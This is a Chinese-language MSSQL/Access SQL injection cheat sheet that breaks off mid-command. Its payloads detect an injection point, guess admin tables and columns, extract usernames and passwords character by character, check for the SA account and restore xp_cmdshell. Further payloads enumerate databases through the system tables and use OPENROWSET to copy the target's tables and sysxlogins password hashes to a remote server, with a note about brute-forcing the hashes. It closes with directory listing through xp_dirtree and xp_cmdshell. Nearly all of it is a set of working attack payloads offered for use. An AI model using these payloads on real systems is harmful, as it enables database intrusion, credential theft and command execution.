1.判断有无注入点 ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 and 0<(select count(*) from admin) and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*)>0)-- and 1=(select count(*) from admin where len(用户字段名称name)>0) and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符 and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. group by users. id having 1=1-- group by users. id, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id)- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id,login_name)- UNION SELECT TOP 1 login_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--

判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） and sa=(SELECT System_user)-- and user_name()=dbo-- and 0<>(select user_name()--
看xp_cmdshell是否删除 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被删除，恢复,支持绝对路径的恢复 ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll-- ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

爆库 特殊技巧：:%5c=\ 或者把/和\ 修改%5提交 and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断） and 1=(select name from master.dbo.sysdatabases where dbid=7)-- and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9.... 得到更多的数据库名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,...)) 来暴出其他的字段 and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 依次可以得到密码。。。。。假设存在user_id username ,password 等字段 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

开启远程数据库 基本语法 select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 参数: (1) OLEDB Provider name 其中连接字符串参数可以是任何端口用来连接,比如 select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table 复制目标主机的整个数据库insert所有远程表到本地表。 基本语法： insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table1) select * from table2 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases) select * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects) select * from user_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) select * from user_database.dbo.syscolumns
复制数据库：
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table1) select * from database..table1 insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table2) select * fromdatabase..table2 复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB,
uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from
_sysxlogins) select * from database.dbo.sysxlogins 得到hash之后，就可以进行暴力破解。 遍历目录的方法： 先创建一个临时表：temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\
